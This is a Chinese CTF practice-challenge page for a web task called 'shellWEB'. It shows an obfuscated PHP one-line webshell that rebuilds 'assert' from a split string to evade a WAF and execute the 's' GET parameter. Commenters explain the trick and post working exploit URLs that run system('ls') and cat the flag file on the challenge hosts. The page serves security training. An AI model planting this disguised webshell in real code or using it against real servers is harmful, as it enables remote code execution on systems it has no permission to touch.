shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 9259
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
LakeFlasher 1月前
举报

该函数在旧版本 PHP 中会把传入字符串当作代码执行.http://160.202.254.160:12168/?s=system(‘ls’).http://160.202.254.160:12168/?s=system(‘cat flaga15808abee46a1d5.txt’)

回复 0
17199913044 1月前
举报

http://160.202.254.160:15613/?s=system('cat+fl*')

回复 0
wangsir 2月前
举报

得到assert($_GET['s'])，对s赋值找到flag文件

回复 0
聪仔草莓51 3月前
举报

源码将字符串 a#s#s#e#r#t 按分隔符拆分后重新拼接成函数名 assert，并调用 assert(传入参数)。该函数在旧版本 PHP 中会把传入字符串当作代码执行，因此构造参数即可执行任意 PHP 代码。 利用方式：传入列目录的参数找到 flag 文件名，再传入读取文件的参数获取内容，即可得到本题答案。

回复 0
西红柿dun牛腩 3月前
举报

这道题目，需要一点基础知识，还需要一些脑洞，初学者不容易想到。很好的学习素材

回复 1
yiqie 3月前
举报

flag{**********}

回复 0
icyskin 3月前
举报

http://160.202.254.160:19320/?s=system(%27cat%20flaga15808abee46a1d5.txt%27)

回复 0
ggsea 4月前
举报

列出当前目录：?s=print_r(scandir('./'))，看到flag.txt

回复 0
lawrencekz 5月前
举报

flag{******}

回复 0
hwx 5月前
举报

直接先?s=system('ls'),就看到啦flg的文档再?s=system('cat flg的文档'),就看到flg

回复 3

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

南风 攻破了该题 8小时前
crea-tive 攻破了该题 10小时前
月落曦辰 攻破了该题 13小时前
1916176503 攻破了该题 15小时前
suoao 攻破了该题 17小时前
男大有点小帅 攻破了该题 20小时前
浅云723 攻破了该题 22小时前
淮南 攻破了该题 23小时前
安全的可达鸭 攻破了该题 1天前
qinlan 攻破了该题 1天前
白说的话 攻破了该题 1天前
TOVOT 攻破了该题 1天前
inspired 攻破了该题 2天前
colaring 攻破了该题 2天前
xinyu929 攻破了该题 2天前
shooter6567 攻破了该题 3天前
Yan123 攻破了该题 3天前
HZFCMCC 攻破了该题 3天前
1234wsryv 攻破了该题 3天前
LightPing 攻破了该题 3天前
问题反馈